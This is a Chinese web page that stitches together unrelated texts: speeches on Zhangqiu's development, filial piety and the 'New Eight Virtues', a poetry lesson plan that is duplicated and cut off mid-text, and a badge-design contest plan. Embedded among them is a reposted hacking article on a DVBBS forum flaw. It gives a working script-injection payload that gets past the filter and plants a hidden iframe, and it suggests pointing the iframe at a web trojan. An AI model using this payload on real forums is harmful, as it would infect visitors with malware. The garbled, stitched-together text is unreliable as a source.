下面是小编给各位读者分享的新机会新思路新计谋的比赛演讲稿（共含13篇），欢迎大家分享。同时，但愿您也能像本文投稿人“wiwlx”一样，积极向本站投稿分享好文章。
新机会新思路新计谋的比赛演讲稿
弁言：在我们全党掀起进修“三个代表”紧张思维新高涨的的历史时候，在我们即将迎来党的82岁生日之际，一个洪亮的声音在章丘大地震响，这便是“新机会、新思路、新计谋，构筑济南大都会框架下富而美的新章丘”。这是章丘构筑史上划期间的里程碑，这是章丘人民用满怀豪气的手笔勾勒的高大蓝图。“新机会、新思路、新计谋、新章丘”四个“新”字如同四个最强有力的音符，谱写出章丘将来构筑和成长的新篇章。它以震动民气的气力向世人宣布：一个富而美的新章丘就要兴起！
本日，我演讲的题目是：
新机会，大手笔，章丘再创光辉
新思路，大成长，古城又谱新篇
春雷声声撼民气，百万人民皆奋发。“新机会、新思路、新计谋，构筑济南大都会框架下富而美的新章丘”，这如同一曲催人奋进的战歌，响彻章丘百万人民的心间，人民为之鼓动、为之奋发。作为我，一个土生土长的章丘人，思维也产生了翻江倒海的变化。记得我在济南求学之时，同学问我你是那边人时，我会自大的说：章丘人。同学便会用理解的口气说：哦，外埠的。不知为甚么，我听了内心总有一种酸酸的感触，再加上思乡心切，我总感触章丘和济南隔的是那样的辽远。如今，济王路拓宽改建，我们即将兑现与济南的零间隔对接，我忽然觉得：我们章丘和济南竟然是咫尺之路。不！不但这些，我的思维更是深受震动。这类震动，不可是因为济王路的拓宽改建，从中我深深感觉到了那种抢抓机会、与时俱进、敢为人先的胆识气概气派，感觉到了那种永不满足、永不怠懈、永连续顿的奋进精神。如今，如果再有济南人说我来自外埠时，我会刚强的说：“不，我是济南人，我来自富而美的新章丘”！“新机会、新思路、新计谋，构筑济南大都会框架下富而美的新章丘”，眼界宽、入手下手高、气概气派大，他表现了祖先一步的思维见解，更表现了高人一筹的胆略气概气派，它将为章丘在更高层次上的定位成长、以更广阔的视野策划成长构筑起新的成长平台，这是章丘解放思维的新入手下手、加快成长的新初步！构筑富而美的新章丘如同一面明显的旗帜，给人勇气、崔人奋进；他更象是一声洪亮的号角，回荡在章丘的每个角落，注入了每个人的内心！每个乡镇、每个乡村在这一号角的鼓动下，只争朝夕、加压奋进，纷纭奏响回映的乐章。
绣惠也不例外，作为千年古城，能不能抓住此次千载难逢的机会再创光辉。对此，我们大有决议信念，6万绣惠人民涌动着一种加快成长的猛烈激昂。抓机会、勇抢先、谋成长，临时成为绣惠干部大众评论辩论最多的话题。
曾多少时，千年古城凭借她长久的历史死板和深挚的文化底细，一贯是章丘经济、文化成长的中间。但是尘封的历史只是过去，历史的光辉毕竟是历史！面对千帆竞发、百舸争流的竞争模样，绣惠的成长慢了，在清针砭律、安分守纪中损失了机会、贻误了成长，垂垂地，绣惠成长的步调入手下手进步于这个期间的`节拍，怎样办？成长靠民营、超过靠引办，解放思维是关键，镇党委当局以海纳百川的襟怀怀抱，大思路、大手笔、大气概气派地运作经济成长。铺开胆量、铺开政策、铺开范畴、铺开成长，让民营经济唱主角、演大戏，自动指导民交易户闯大市场、办大企业、当大老板。绣惠人民思维搞活了，胆量变大了，四肢举动铺开了，全镇很快构成了你追我赶、争相成长的高潮，“办事在大众身边，办理在办事中间”活动，如一缕春风暖和在民交易户的心头，真正以思维的大解放、见解的大更新，增进了经济的大成长、社会的大进步。绣江路的全线领悟更是为绣惠的成长供给了可贵的机会。“构筑大市场、成长大商贸、搞活大流畅”，绣惠人顺手推舟、借势成长，前后筹划了仔猪市场、扩建了钢铁市场、新建了电机市场，临时候沿绣江路六大市场齐头并举，互助成长……物丰商活，百业俱兴。200X年结束市场交易额3.5亿元，此中仅钢铁市场年交易额就达1.5亿元，利税超出500万元。
民营经济为绣惠的成长注入了新鲜的血液，引进引办更加绣惠的超过插上了起飞的翅膀。镇委、镇当局坚定把引进引办作为“要务之要务、重点之重点、中间当中间”，全党策动、全民参加，尽力打好引进引办攻坚战。成功油田花草基地来了！香港文鑫科技开辟公司来了！济南大桥路开辟工程来了！农业项目、产业项目、城建开辟项目如雨后春笋般地落户绣惠，本年1－5月份，又有9个项目飞落古城，总投资达8300万元。在珍视经济成长的同时，镇委、镇当局自动成长各项奇迹，创设精良的招商环境，前后投资400多万元履行了古城大街立体粉饰工程，硬化城区门路0余平方米；投资200余万元建起了高标准的中间幼儿园，“民气”工程深得民气，如今的绣惠政通人和，百业俱兴，她正乘着十六大的春风，和着期间的节拍，迈着坚固的步调，大踏步超过进步！
“雄关慢道真如铁，如今迈步从头越”！新的机会已经到临，如何抢抓新机会，策划新思路，履行新计谋，构筑新绣惠已成为当前的第一重担。面对这新的机会，绣惠镇党委、当局超前筹划，建立了“高点筹划、扩大城区、重点东移、市场拉动、策划城镇”的新思路，斗胆履行高标准开辟扩城、高效能策划兴城、高程度办理美城“三高”新计谋，这为绣惠经济兑现新超过打造了新的空间，供给了新的平台。如今，历史又翻开了新的一页，新的机会带来新的商机，新的思路开辟新的航向，新的计谋增进新的成长，一个极新的绣惠呈现于世人的面前目今。章丘的成长为绣惠供给了机会，绣惠的成长为构筑新章丘贡献气力。绣江誓盟，郎山做证，在绣惠镇党委、当局的精确带领下，6万绣惠人民深信绣惠必定会再次起飞！号角齐鸣，千帆竞渡。在市委、市当局的贤明决议计划下，百万章丘人民深信：章丘历史的光辉时候即将到来，一个富而美的新章丘正在齐鲁大地兴起！让我们抢抓机会，办事创业，加快成长，联袂互助走向章丘更加美好的将来！
文章作者：优格[GXU] （www.wuzhou.org）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
原文下载：www.wuzhou.org/dvbbs.doc
前段时间focn等人发现了动网的提权漏洞，这漏洞可是闹得天翻地覆的，连当当网论坛也给挂上马了，正是这个漏洞盖住了动网的其他漏洞，使动网的其他漏洞少为人知。
相信大家都看过《终结动网最新挂马方法！》的文章了，其实这个漏洞已经出现了大概半月了，后来才被公布出来。利用方法就是在“修改个人联系方法”中的“个人主页”写入代码：
在MSN中写入代码：
其中ssssssssss是我们自由写入的，那么我们能不能对源文件进行欺骗，从而让它运行我们的代码呢？打个比方，一个括号：，当我们在（）内写进）和（，那就变成了两个括号。道理是相同的，我们也可以这样进行代码欺骗。我们在发表投票中写入：
';var votenum='0';var votetype='0';var voters='0';
代码是无法执行的，动网进行了过滤，
再次饶过思路，动网只是对<和>进行过滤，对+'/等符号没有过滤。再次在投票那写入代码：
';document.all.popmenu.innerHTML=document.all.popmenu.innerHTML+String.fromCharCode(60)+'IFRAME. frameBorder=0 height=0 marginHeight=0 marginWidth=0 scrolling=no src=www.wuzhou.org width=0'+String.fromCharCode(62)+String.fromCharCode(60)+'/IFRAME'+String.fromCharCode(62);var vote='1
发表后成功跳转了www.wuzhou.org这个站。如果我们把站改成我们的网页木马，那么一个木马贴就这样完成了。其实这只是动网代码欺骗的一小部分，还有不少的地方可以进行代码欺骗，比如用户头像，联系方法等。
后记：现在很多的程序作者并没有看到到代码欺骗这安全危害，在我看的很多网站程序，不管是asp还是php的，都有许多程序可以进行代码欺骗，希望这篇文章能起到抛砖引玉的效果,让各位朋友找到更多的漏洞。
新标准 新教材 新思路 新教法
新标准 新教材 新思路 新教法 山东铝业公司第一小学 沙良洪 新的课程标准在系统总结我国语文教育的历史经验，吸收国际课程标准，分析了我国语文教育的现状及时代发展对语文的新要求的基础上，重新构建了语文教育的目标体系，对语文学科的性质、培养目标、教学策略和评价等方面有了新的定位、要求。尽管现在的语文教学是百花齐放、百家争鸣，但万变不离其宗，新标准的出台对我们语文教学的方方面面都有了一些实质性的指导，确实起到了纲举目张的作用。它适用于当前的各种版本的教材、各种类型的课文。现以义务教育小学韵语教学课本（实验）第五册《古诗三首（夜宿山寺、独坐敬亭山、竹里馆）》为例，谈谈新标准在语文课堂教学、备课中的集中体现： 一、教案 9古诗三首 教学目标：1、背诵、默写三首古诗。 2、学会本课生字，理解词语，懂得诗句意思，体会诗人的思想感情。 教学重点：在理解古诗词句的基础上，体会作者在诗中抒发的思想感情。 教学难点：抓住词句意思，理解诗句及有感情地朗诵。 第一课时： 一、定向导入 1、导入新课，提出本课教学内容、重点和要求： A、初读课文理解三首诗的大体意思。 B、正确流利地朗读三首古诗。 C、查字典或结合课文理解词语的意思。 2、检查预习：A、指名读课文。 B、学生质疑问难。师生讨论交流。重点内容教师板书，待课堂解决。 二、教学新课 1、粗读课文。指名读课文，要求正确流利。 其余学生思考：抓住古诗题目说说三首诗写了怎样的.情景？ 小组讨论，集体交流 2、细读课文。学生仔细默读课文，划出生字词，查字典、看注释或结合课文理解意思。教师巡视指导。 3、学生自己练习读、讲词语意思。小组讨论、交流疑难问题。 4、小组汇报，师生共同讨论。个别词语教师讲解。如：危 恐 尽 闲 厌 复 啸 5、指导熟读诗句。A、教师范读第一首，指导熟读。（重点是字音、停顿和重音） B、学生任选一首练习读得正确流利。小组内交流。 C、指名自愿读其中一首，师生共同讲评。（尽量不要与别人相同） 三、课堂练习。 1、任选一首练习熟读，小组间互评。 2、写出其中一首诗题目的意思，小组内互相交流。 四、课堂作业。 1、任选一首诗认真抄写一遍。 2、把预习中不明白的字词意思写在课堂本上。 3、回家查查有关资料，说说敬亭山竹里馆的地理位置及与三首诗有关的知识。 第二课时： 一、定向导入 1、导入新课，提出本课教学内容、重点和要求： A、用自己的话说出诗句的意思。 B、体会诗人表达的思想感情。 C、有感情的朗诵三首诗。 2、检查复习：A、指名分别读三首诗。 B、说出下列词语的意思：危 恐 尽 闲 厌 复 啸 二、教学新课 1、出示自学要求：（1）任选一首自己喜欢的古诗，结合词语意思，说说诗句意思。（2）说说这首诗中诗人表达的思想感情。 （3）有感情地朗读这首诗。 2、学生自学的基础上，四人一组讨论交流。教师巡视指导。 3、师生共同逐首讨论、交流。 4、指导感情朗诵（重点是停顿、重音的指导）。 三、课堂练习1、任选一首诗，用画笔画出诗中描写的情景并写上这首诗。（也可小组合作画一首） 2、指名指图向同学介绍所画内容，全班讨论、交流，互相补充。 四、课堂作业 1、选择感兴趣的一首诗有感情的朗诵给同学听。也可把它配乐唱出来。 2、任选一首诗把诗中描绘的情景表演给别人看。 第三课时 一、定向导入 1、导入新课，提出本课教学内容、重点和要求： A、背诵默写三首诗。 B、展开想象改写三首诗。 2、检查复习：A、指三名有感情地朗诵古诗。 B、用自己的话说说三首诗诗句意思。 二、教学新课 1、展开想象任选一首诗，把它改写成一篇记叙文。 要求：（1）抓住六要素，写清诗人的动作、神态、语言及心理活动。（2）把这首诗也写在文章中。 2、指名到前面读自己写的文章，师生交流、补充。 3、指导背诵。 三、课堂练习背诵、默写其余两首诗。 四、课堂作业 把其余两首诗中再选一首编个故事讲给别人听。 二、自我评价： 1、体现了语言文字训练的阶段性、层次性。 本课要求教三课时，我没有像传统教学古诗时一样：一课时讲解一首诗，而是把总目标分解在三课时中处理。读的总要求是：背诵、默写三首古诗。三课时分别分解为（1）正确流利地朗读。（2）有感情地朗读。（3）背诵、默写。理解的总目标是：理解词句意思，体会诗人的思想感情。三课时分解为：（1）查字典或结合课文理解词语意思。（2）理解诗句意思，体会思想感情。（3）展开丰富想象改写三首古诗。三课时教学过程层次清晰：初读理解字词；再读理解诗句意思；三读体会思想感情。同时也完成?quot;整体感知-----重点理解------综合运用的训练过程。这符合学生的认知规律，做到了循序渐进。 2、注重培养学生自主、合作、探究的学习方法。 教学过程中没有面面俱到地讲解每首诗，而是注重激发学生的学习兴趣，任选一首学深学透，逐步达到能举一反三。学生在小组交流、汇报中展示了自己的学习过程，同时也从别人的讨论中学到了知识，提高了学习的效率，从而把三首诗都能尽快地掌握。通过自主充分发挥学生的个体潜能和求知欲望，养成探索问题实质和事物本质的良好习惯。通过合作进行引导，启发、讨论、争辩，激发学生思维，相互学习发现问题，培养学生合作精神和竞争意识。 3、发挥了教师的主导、学生的主体地位。 让学生在自学的基础上自己质疑、解疑，增加了教学内容和教学环节的弹性，既调动了学生自学的积极性，又实事求是地选择重点教学内容，真正做到了把课堂还给学生，真正做到了优等生吃好，后进生吃饱。在学生汇报交流时，体现了学生的主体性，尊重学生的情感体验，没有牵着学生走，而是由过去教师讲，学生听；变成学生讲，教师导，使学生能畅所欲言，尽情表达。 4、注重培养学生听说读写的能力。 在整个教学过程中培养了学生听、说、读、写的能力：听别人读、说、议、讲；说自己的见解、做法；读课文、自己的见解；写自己的理解、感受。 5、注重发展学生的再造思维和创新能力。 在理解诗句意思的基础上，让学生动笔画出诗中描写的情景，让学生由语言文字转化成生动形象的画面，便于学生对语言文字的理解和记忆，在思维上有了一定的提高，加强了对语言文字理解能力的训练；在理解诗句意思及体会思想感情的基础上，安排学生把古诗改写成记叙文的形式，发展了学生的想象力和创造力，加强了语言文字表达能力的训练。 6、更好地体现了语文教学的综合性和实践性。 整个教学过程还注意了与其它学科的整合，运用美术知识画一画；运用自然知识想一想；运用音乐知识唱一唱等等都是素质教育的具体体现。通过查字典、查资料、表演等手段，让学生亲自动手感知学习知识的过程，增强了学生的实践能力。同时也注意了课堂知识向课外知识的延伸，激发了学习兴趣。 以上只是笔者在学习课程新标准后，运用新标准进行语文教学的一些拙见。课程新标准涵盖面广，博大精深，笔者将在今后的教学中精心钻研，与广大语文教育工作者一起不懈地努力，不断地探索，为祖国的母语教育事业作出贡献！新标准 新教材 新思路 新教法
新标准 新教材 新思路 新教法 山东铝业公司第一小学 沙良洪 新的课程标准在系统总结我国语文教育（www.35d1.com－上网第一站35d1教育网）的历史经验，吸收国际课程标准，分析了我国语文教育（www.35d1.com－上网第一站35d1教育网）的现状及时代发展对语文的新要求的基础上，重新构建了语文教育（www.35d1.com－上网第一站35d1教育网）的目标体系，对语文学科的性质、培养目标、教学策略和评价等方面有了新的定位、要求。尽管现在的语文教学是百花齐放、百家争鸣，但万变不离其宗，新标准的出台对我们语文教学的方方面面都有了一些实质性的指导，确实起到了纲举目张的作用。它适用于当前的各种版本的教材、各种类型的课文。现以义务教育（www.35d1.com－上网第一站35d1教育网）小学韵语教学课本（实验）第五册《古诗三首（夜宿山寺、独坐敬亭山、竹里馆）》为例，谈谈新标准在语文课堂教学、备课中的集中体现： 一、教案 9古诗三首 教学目标：1、背诵、默写三首古诗。 2、学会本课生字，理解词语，懂得诗句意思，体会诗人的.思想感情。 教学重点：在理解古诗词句的基础上，体会作者在诗中抒发的思想感情。 教学难点：抓住词句意思，理解诗句及有感情地朗诵。 第一课时： 一、定向导入 1、导入新课，提出本课教学内容、重点和要求： A、初读课文理解三首诗的大体意思。 B、正确流利地朗读三首古诗。 C、查字典或结合课文理解词语的意思。 2、检查预习：A、指名读课文。 B、学生质疑问难。师生讨论交流。重点内容教师板书，待课堂解决。 二、教学新课 1、粗读课文。指名读课文，要求正确流利。 其余学生思考：抓住古诗题目说说三首诗写了怎样的情景？ 小组讨论，集体交流 2、细读课文。学生仔细默读课文，划出生字词，查字典、看注释或结合课文理解意思。教师巡视指导。 3、学生自己练习读、讲词语意思。小组讨论、交流疑难问题。 4、小组汇报，师生共同讨论。个别词语教师讲解。如：危 恐 尽 闲 厌 复 啸 5、指导熟读诗句。A、教师范读第一首，指导熟读。（重点是字音、停顿和重音） B、学生任选一首练习读得正确流利。小组内交流。 C、指名自愿读其中一首，师生共同讲评。（尽量不要与别人相同） 三、课堂练习。 1、任选一首练习熟读，小组间互评。 2、写出其中一首诗题目的意思，小组内互相交流。 四、课堂作业。 1、任选一首诗认真抄写一遍。 2、把预习中不明白的字词意思写在课堂本上。 3、回家查查有关资料，说说敬亭山竹里馆的地理位置及与三首诗有关的知识。 第二课时： 一、定向导入 1、导入新课，提出本课[1] [2] [3]
一、活动主题：
三为了让同学们发扬创新思维能力，对党有更深刻的认识，同时还为了丰富学生课余生活，我们理学院热烈响应校团委以“庆建党•发扬创新思维”为主题的号召，希望举办“__党在我心中——爱党徽章设计大赛”这一活动。同时，也希望通过这个平台继承党的精神，发扬爱党的精神及展现上海理工大学学生的原创风采，带动校园艺术文化的发展，并使之光大。
二、活动目的：
1、庆祝建党__周年，展现中国共产党诞生地——上海的文化魅力及时代气息;
2、通过这一集艺术，人文，创新于一体的参赛形式，调动当代大学生创作激情;
3、通过设计与搜集材料，加深大学生对党的认识;
4、抓紧时代潮流，体现党的先进性，表达对党的热爱之情。
三、比赛形式
1、本次活动的参赛者可以以个人、团队、学院等名义参加比赛。参赛作品是手绘设计图或者电子稿，并附有详细的文解说。设计图要求图像清晰。
2、本次比赛：3月28日至4月20日征集作品，4月22日由本校此类专业老师从所有的参赛作品中评选出4个优秀作品，并且分别评为最具人气奖、最佳创意奖、最具美观奖、最“红”奖。
四、活动参加人员
1、参赛人员：上海理工大学所有有意愿者
2、主办单位：上海理工大学校团委
3、承办单位：上海理工大学理学院团委学生会
五、参赛须知
1.参赛队(或个人)根据所规定的设计主题，要求紧绕建党__周年主题，设计概念需原创、积极、健康、向上。以展现当代大学生对党的认识、了解、追求为方向的、结合时尚元素的设计作品为最佳。
2.参赛同学需在预定截止日期前上交设计稿，各参赛设计稿不对色彩做硬性要求，但图案须清晰，手稿和电子稿均可，并附有作品说明。
3.各参赛者必须于4月20日前上交作品，上传至负责人邮箱：;邮件主题为自己的学院、专业、姓名、学号;或者交至理学院行政楼216。
4.各参赛者要遵守比赛规则，尊重评委及其他参赛者。
5.各参赛者做好作品备份。
主办方保留对本次比赛的最终解释权。
六、报名相关
1.组队形式：以学院、团队、个人名义均可。
2.报名表的获取：
①理学院网站：;
②各学院文艺部派发;
③宣传现场派发。
3.报名方式：
①提交报名表：
报名地点：南校区理学院行政楼(四教对面)216
报名时间：3月28日——4月20日周一至周四18:00～21:00
②网络报名：
报名邮箱： 报名时间：3月28日——4月20日
七、评分细则
创意 (30分)
(20分)a：能将党的传统文化与当下流行元素充分结合
(10分)b：不抄袭，不仿作，造型独特，用色新颖
图案设计部分(20分)
(15分)a：主体形象鲜明，搭配合理，符合实用性
(5分) b：有一定的突破性
主体切合部分(40分)
(20 分)a：能够与建党__周年这个主体充分切合;
(10 分)b：与所构想的徽章形状相搭配;造型、色彩处理得当
(10 分)c：作品能够表现对党的热爱，又不失徽章自身的特色
内容介绍部分(10分)
(5分)a：能充分表达出作品的内涵
(5分)b：语言清晰，表达连贯，具有逻辑性
4项作品：综合得分最高者为“最具人气奖”;
创意部分得分最高者为“最佳创意奖”;
图案设计得分最高者为“最具美观奖”;
主体切合得分最高者为“最‘红’奖”;
比赛活动方案最新范文
同学们好!老师好!
今天我要演讲的是我对于英语的学习方法和态度，不需要花太多的时间，只要能够理解就可以了。
我认为，学习英语的方法其实很简单，那些辅导材料只不过就是巩固知识。而我们在巩固知识前，就得学会学习英语。兴趣，记忆力和自信就是我的秘诀。
第 一步：兴趣。兴趣使然，如果你把学英语当成是一种娱乐，一种使你兴趣盎然的娱乐方式。我把英语当做是一种荣耀，一种享受，也把这种荣耀和享受化为自己的优 势，弥补其他学科的缺憾。但是，这只是我的方式，也有的人其他方面很优秀。或许，不是学习上的，却也是一种优势。就比如，很多人喜欢玩电脑，就可以把学英 语当成在玩电脑，每一次的检测都是打电脑的一关，把自己当成闯关的人，学习的过程，考试是终点，老师就是最后的评委。
第二步，记忆力：记 忆力的好也可以帮助学习，但是死记硬背的方式实在是套古老了，也太死板了，再好的兴趣也会被消磨光。所以，可以用一种节省时间，增加兴趣，享受时间的方 法。在老师留作业，抄单词或句子的时候，先抄一遍，再根据脑袋里“肯定”的答案在接着继续默写，这样就达到了节省时间着点了。还有在背课文的时候，有些同 学们后觉得这些太多了，太难了，简直就是在谋财害命，但老师就是硬要我们被下来，太痛苦了!那么，在这个时候，你可以把被课文当做是在背诗，记歌词，背诗 背着背着就顺了，记歌词记着记着就好像是自己在听喜爱的音乐一般，这也有了增加兴趣，享受时间和节省时间了。
第三步，自信：不论是丘吉尔 的“好运”还是海伦`凯特的身体残缺，贝多芬的老年失聪，他们都凭借着自己的努力而成功。当然，在他们最努力的时候才是他们最自信的时候。因为他们都相信 自己，才有努力的动力。而我们不论是学英语还是其他的什么科目，相信了自己，才有成功耀眼的那一刻!
谢谢大家!我讲完了。可能有些和我不一样的，欢迎和我交流!
敬爱的老师，亲爱的同学们：
大家上午好
今天是十二月九号，再过6个多月，20xx年的中考就要到来，初三的同学们就要奔赴中考考场，为考入自己理想的高中做最后的拼搏。
老母亲的一句“想去更多地方看看”，62岁的陈寻雪开着自己改装的“房车”，载着101岁的母亲全国旅游，多么令人感动的一幕。记得毕淑敏曾说过：赶快 为你的父母尽一份孝心吧，也许是大洋彼岸的一只鸿雁，也许是近在咫尺的一个口信。没错的'，“孝”字就演绎在我们平凡的生活中。也许有时只需一句小小的问 候。
同学们，曾几何时，母亲乌黑的秀发中增添了几根银丝，清秀的脸颊也爬上了岁月无情的痕迹。大家是否还记得小时候在母亲背上的时光，是 否还记得在父亲肩上尽情玩耍的岁月，也许，我们已经在不知不觉中淡忘了这美好的回忆，我们只知道我们长大了，我们有了自己的想法，自己的主见，有了与父母 所谓的“代沟”，因此，我们渐渐对于父母的唠叨变得不耐烦，为了满足自我的需要不断向父母索取，有时还因自己的要求得不到满足而大发脾气，我们可曾静静想 过，我们凭什么呢?难道因为父母视我们为宝贝，便能自以为是少爷。公主吗?难道仅凭父母生我们就有义务养好我们吗?这想法是否太过自私了呢?
同 学们，我们自以为自己受过良好的教育，可是教育的“教”字怎么写呢?有谁能大声告诉我---不孝不教，教是由孝和文组成的，有文化却不懂得孝敬父母的人根 本不配说自己受过了良好教育。孔子曾经说过“犬马皆能有养，不敬何以别乎?”说的是呀!羊尚有跪乳之恩，乌鸦尚懂反哺之义，我们为人，不仅应在物质上满足 父母，更应在精神上取悦父母，才不枉为人子呀!对父母和颜悦色，这才是真正的“孝”!
孝亲我必行，这是作为新八德的重要一德，作为新时代 的中学生，我们必须谨记在心，更应付诸行动。其实，孝敬父母并不难，小到一句贴心的问候有时也能带给父母莫大的欣喜。行动起来吧，别再去感伤岁月的无情， 命运的不公而让“子欲养而亲不待”的遗憾一再出现，让我们一起做一个有孝心懂感恩的中学生吧!愿逝去的青春化作无限的祝福，共祝天下父母健康长寿!
谢谢大家。
让孩子们沐浴着“新八德”的春风茁壮成长
在座的各位评委，各位同仁：
大家好!
今天我演讲的题目是《让孩子们沐浴着“新八德”的春风茁壮成长》.
各位一定与我一样幸运的参加了新八德培训，大家也一定清楚的记得培训过程中我们眼中流下的热泪，我们心中燃起的光亮。那热泪是因为视频中孩子们小小年纪就懂得孝亲懂得分担的感动，那光亮是因为看到了我们可以如愿以偿地培养学生具备优秀品德的希望。
我们的祖先早在几千年前就提出了“人无德不立，国无德不强”的思想，而作为一名教师，我怎能不知道品德对于一个人的成长，对于一个民族的发展有多么重要。可是面对着在品德教育方面并不如我心意的现状，我也常常陷入深深地思索，却也常常叹息困惑。而新八德则如和煦的春风，吹开我心头的迷雾，引领着我走上充满希望的德育之路。
在学习新八德、践行新八德的过程中我与学生共同学习相互交流，对“孝亲、尊师、友学、立志、长善、救失、守法、践行《弟子规》”这些将伴随着孩子们成长的人生信条有了更加深刻的认识。
我记得，在学习新八德的过程中学生们通过视频看到迷途知返的少年流着泪向父母表达自己的忏悔时;看到比自己还弱小的孩子为了家人的生存、为了父母脸上的微笑，用瘦弱的肩膀担起家的担子时......学生们忍不住掩面啜泣，有的孩子流着泪说：老师，和他们比我们的生活是多么的幸福甚至奢侈，我再也不会跟爸爸妈妈提那些不合理的要求了。有的孩子哽咽着说：我的爸爸妈妈虽然都很健康，但他们一定也有许多不容易，只是没对我们说，而我们也从来没去体谅，现在想想，我特别愧疚。一个平时并不善言谈的孩子竟然满怀激情地说：老师，我今天回到家后就要关心关心我的爸爸妈妈，让他们知道，他们的孩子长大了!他的话竟一石激起千层浪，孩子们纷纷说道：我也要为爸爸妈妈做些事。而我就站在他们的身旁，欣赏着感动着他们的表白。那天孩子们自发的给自己留了一份家庭作业----为家人做件事。那一刻我不禁反思，其实孩子们的心是多么的纯洁善良，只是有些时候我本是一片好心的教导，没有那些更真切的故事更能走进孩子们的心，感谢“新八德”的工作团队带给我这样的启迪。
新八德的学习就这样在我们的感动与反思中，实践与分享中火热的开展起来了。
学校每周升旗校会的主题也都是学习新八德。从《弟子规》到“孝亲”，从“尊师”到“友学”
如果您有机会来我们的校园做客，您一定会看到孩子们深深地鞠躬，您一定会听到孩子们
亲切的问候;您一定会看到大课间整齐的阵容，有力的步伐，听到响彻云霄的口号，不向困难低头的誓言。随手拾起一片纸，轻轻关上一扇门，帮助生病的同学打一盘香喷喷的饭，给疲惫的老师倒一杯温热的水......这一件件小事如此平凡却又如此让人珍惜因为就在这些日复一日、年复一年重复着的小事里，我们看到了忠植少年善良、真诚，阳光、向上、团结、奋进的心!
而今，“新八德”教育的春风就这样暖暖地吹遍我们美丽的校园，这将中华的传统文化与现代教育紧密结合的教育思想与教育方式，正在我们全校师生的共同学习与认真实践中生根发芽、花蕾初绽。让勇敢智慧的忠植人更加满怀激情，敢于担当地阔步前行。
“孝亲、尊师、友学、立志、长善、救失、守法、落实《弟子规》”在我校师生的心中不只是一段铿锵的口号，更是我们做人与育人的目标和行动。我们有理由也有信心，相信----沐浴在新八德的春风里，将有更多的孩子会以最真诚的情谊、最坚定的信念、最高远的志向，最优越的实力给亲人以关怀，给师长以欣慰，给朋友以信赖，给自己以实力，给家乡给祖国以荣耀!
更多相关文章推荐：
1.小学生新八德演讲稿精选三篇
2.最新小学生新八德演讲稿
3.小学生新八德演讲稿最新推荐
4.优秀小学生新八德演讲稿精选
5.小学新八德演讲稿
6.教师新八德演讲稿【优秀篇】
7.关于新八德的演讲稿精选
8.小学三年级学生新八德演讲稿
9.精选新八德尊师演讲稿
10.小学生新八德演讲稿600字
尊敬的老师、 同学：
大家好，我是今天的第一个演讲者，我演讲的题目是《我的梦想与追求》。
在开始我的演讲之前我想问大家一个问题，大家可否看过《牧羊少年的奇幻之旅》这本书，大家对梦想的定义又是什么。
梦想，每一个人都有，也许有人会说现在我都不知道梦想是什么，但或多或少都会有对自己未来人生的一种憧憬，那种憧憬就是我们的梦想。在我的理解里，梦想就是牧羊少年的奇幻之旅里圣地亚哥金塔下的神秘宝藏，他卖了他所有的羊去寻找他的天命，那个寻找宝藏的天命。
在他追寻的路上，有鼓励他的穆斯林之王——穆罕默德等等，也不乏取笑他的人，可是他从来没有放弃，即使后来在金塔前被强盗抓住，他都没有后悔追寻他的天命。
说实话，我也没有圣地亚哥那种勇气与魄力，但我知道我的宝藏在哪里，那就是我对我自己未来生活的一种憧憬，还记得小学第一课，老师问我们想当什么，我说的是医生，因为他救死扶伤，让人觉得很伟大，后来，喜欢上了文学和医生这个梦想也渐渐远了，因为理科成绩很烂。在初中，是我第二次谈到梦想，，那时候我向往广阔无边的大草原，渴望跃马扬鞭，在草原过一种牧歌式的生活，想要远离喧嚣的城市。在高中，人也渐渐长大不过我的梦想大致没有变化，虽然我知道我牧歌式的生活已经不可能获得，但我依旧执着的坚守着自己的原则——一份平平淡淡的生活，在自己家乡的小县城有一份稳定的工作，有一个属于自己的家，在工作之余有自己的时间可以做一些自己喜欢的事——喝茶看书，我不想挣太多的钱，也不想追求多大的权力。
我只想做一个平凡简单的自己，或许有的人会说没有出息，但是我有一群理解我的朋友，他们也在追寻他们的梦想，有一个朋友她想带着她的画板去各地写生，追求她周游天下的梦，有一个朋友，他想在大城市间去寻找他的梦，想在那里寻找他一展才华的天空……和他们的梦想相比，我的梦想或许真的很没有出息，可是我不会去学他们，因为那是他们的梦想，不是我的。我依旧会追寻我自己的梦想，我不管别人会怎么看待我的梦想，我有我自己的路要走，我也相信我的朋友们会在我的天命之旅上支持我，事实上他们也在做着，虽然我们的梦想不同，会有不同的天命之旅，但我们还是会在天命之旅上相互鼓励，一起前进。
书地的最后是圣地亚哥与帮助他逃出来的强盗一起躺在金塔下，神再一次告诉他宝藏就在他出发地的那棵树下，而强盗也说起了他年轻时做的一个梦，神让他去远方一棵树下寻找宝藏，可是他没有去。圣地亚哥最后说：他已经找到了真正的宝藏。
每个人都有属于自己的天命——梦想。可是又有多少人真正踏上他的天命之旅，我希望大家能够找到自己天命，踏出自己天命之旅的第一步，当你踏出了第一步，你离梦想也就更近一步!
最后祝大家能够实现自己的天命，找到金塔下的宝藏。我的演讲完了，谢谢。
在八年级思品课《难报三春晖》中心思想是孝敬父母，与新八德教育具有密切联系，首先教师必须让学生明白一个道理，孝敬父母是每一个人最基本的道德品质，是一个人的一生健康成长的立身之本，不孝敬父母的人连起码做人的资格都没有，更谈不上修身、齐家、治国、平天下。
本框题要弄清一个重要问题就是为什么要孝敬父母?课文从父母赋予我们生命，而且把含辛茹苦把我们养大成人，为家庭为我们付出很多，应当得到爱的回报，理应受到我们的孝敬。这在中华传统道德里就是孝道，就是伦理，就是天经地义的自然规律法则，《弟子规》就有“尊爱我，孝何难，亲憎我，孝为贤。”闵子骞等古圣先贤典故，反映出中华民族传统美德，是我们学习的榜样。
